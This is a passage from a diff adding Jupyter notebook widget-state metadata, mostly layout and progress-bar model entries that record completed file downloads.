+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_40c757566f6b42f7bded1f4bc25b64b0",
+            "max": 736,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_d160344792784c4782fa98d11deb52a3",
+            "value": 736
+          }
+        },
+        "7b01a3409bad435fbdd470ddd18267d5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7b1e006a345c48368a5fe099e118112d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_08c45bf115b6472e9a6ccbad35ae965f",
+            "placeholder": "",
+            "style": "IPY_MODEL_7b01a3409bad435fbdd470ddd18267d5",
+            "value": "Downloading: 100%"
+          }
+        },
+        "7b9925f38cf149af8fd811f7442d2ae4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b7c0fece997647219a30119d742d3751",
+            "placeholder": "",
+            "style": "IPY_MODEL_ca6c01cae2dd400889111363264abd23",
+            "value": " 86.0/86.0 [00:00<00:00, 1.89kB/s]"
+          }
+        },
+        "7c64ea6969164119a63abd6a614e2a80": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7c77c4cedb3f4dcaac3e344990e3955f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7ddaa14fe5c84a16ade3bbfe9ea958d0",
+            "max": 1629486723,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_1cbe17e4d56d4ccf9b644f8633efb73b",
+            "value": 1629486723
+          }
+        },
+        "7c8a0570e9b740bda031cb3b612b0a55": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d220ce12e9e04624ab5ddf28424e8e9d",
+            "max": 112,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_df104bcc4e0e4310881a9b8108379d05",
+            "value": 112
+          }
+        },
+        "7d6f6d3aa8554d2f91412a6b018911f5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7d7e49ec0f2a48dd955dac133086cc26": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7ddaa14fe5c84a16ade3bbfe9ea958d0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7e371bc4bb454c9681d5bdc1980a374f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4558f546896b41caaadc3b176004370a",
+              "IPY_MODEL_ed2b0b656ce643f9abd29b4951b73a0e",
+              "IPY_MODEL_3eebaaebfb484af599541c3c36850e07"
+            ],
+            "layout": "IPY_MODEL_6e4f8d19fd8d46a1b828cbcae50b5e13"
+          }
+        },
+        "7e3f8c8cdb0e4f7dbe9ce90660331702": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7ed8efa3a9ec47f1b1221b86d8844ec7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3615a2d5f4f44a0caf93b7bda9f92fd8",
+            "max": 48,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a2c35454d0584604bed05eb87cdd6a5f",
+            "value": 48
+          }
+        },
+        "7f09134d6a83402986fc8bd9de27943c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "80beaf6f0a5c42dab3796dbab8e3c2b8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "818a109920cf4048a1167f2fc7355243": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "818c3e0ab3d9498b98cc26e6df006d6a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4da8a932547e478d84acaf52903bed78",
+            "placeholder": "",
+            "style": "IPY_MODEL_1b0de92860e644fb83012a514582cfea",
+            "value": "Downloading: 100%"
+          }
+        },
+        "81f0403d83cb4bf4bf79999e1996d72f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "81fb2fbc958c41f79c5eb5d0568a1ad7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "8397c4fa95df4873821d74775b19a153": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_745e710bf1c240ff995a9f3df04295f0",
+            "placeholder": "",
+            "style": "IPY_MODEL_88555be021d34bcba415e817b9642a5a",
+            "value": "Downloading: 100%"
+          }
+        },
+        "83d54153e6ee4ab1bac38ee0f2b35aba": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_018a4ee53ccd4a2aa3b97c18dc4c6fbf",
+            "placeholder": "",
+            "style": "IPY_MODEL_d9be4c89a55c4d36a0aac652f920656f",
+            "value": "Downloading: 100%"
+          }
+        },
+        "83e550a9d1234b6faff1285588a4db36": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "847c788ad0d74532ab133f598aabe893": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_161b3a16f27b47ffa3b71ccd609dc32d",
+            "placeholder": "",
+            "style": "IPY_MODEL_209773cf4ef14a16b3ce53d2414ade48",
+            "value": " 456k/456k [00:00<00:00, 767kB/s]"
+          }
+        },
+        "85676b3aefec4544a8f2189465f9bf37": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8743562ab5574578911cf006f47da8ea": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "87db17604d934baa8462dfeb8995c941": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "88555be021d34bcba415e817b9642a5a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8934508e056d422e88d7c41f383e483a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_10a5b8513bef47a4a941ce05623bcf84",
+            "max": 26,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_cef8a9fb6e894ccf83cd9e9221891bcf",
+            "value": 26
+          }
+        },
+        "8941da5787534cabbc219811e47fbc15": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "89b9666f0324479aaa0d9da395c27c16": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "89c4231360e54d5b88df6499d691dc69": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "89fefc52dab444c0bad0cc276b7aaed1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8cd757b4bee1442194a1fdaaca81f5d4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8ce12bc907ab4c819d56905afb0ea6d3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f60e53f078f14b38802232b54cb9a37d",
+            "placeholder": "",
+            "style": "IPY_MODEL_9312531b7d87427995a7bd8068e1e96c",
+            "value": "Downloading: 100%"
+          }
+        },
+        "8ce1788263004e0193b23589deceb38b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "8e74b5c528344915af85b5b5676f5dbf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5c5f650dbbbd46b4b46eadfe07b50e70",
+            "placeholder": "",
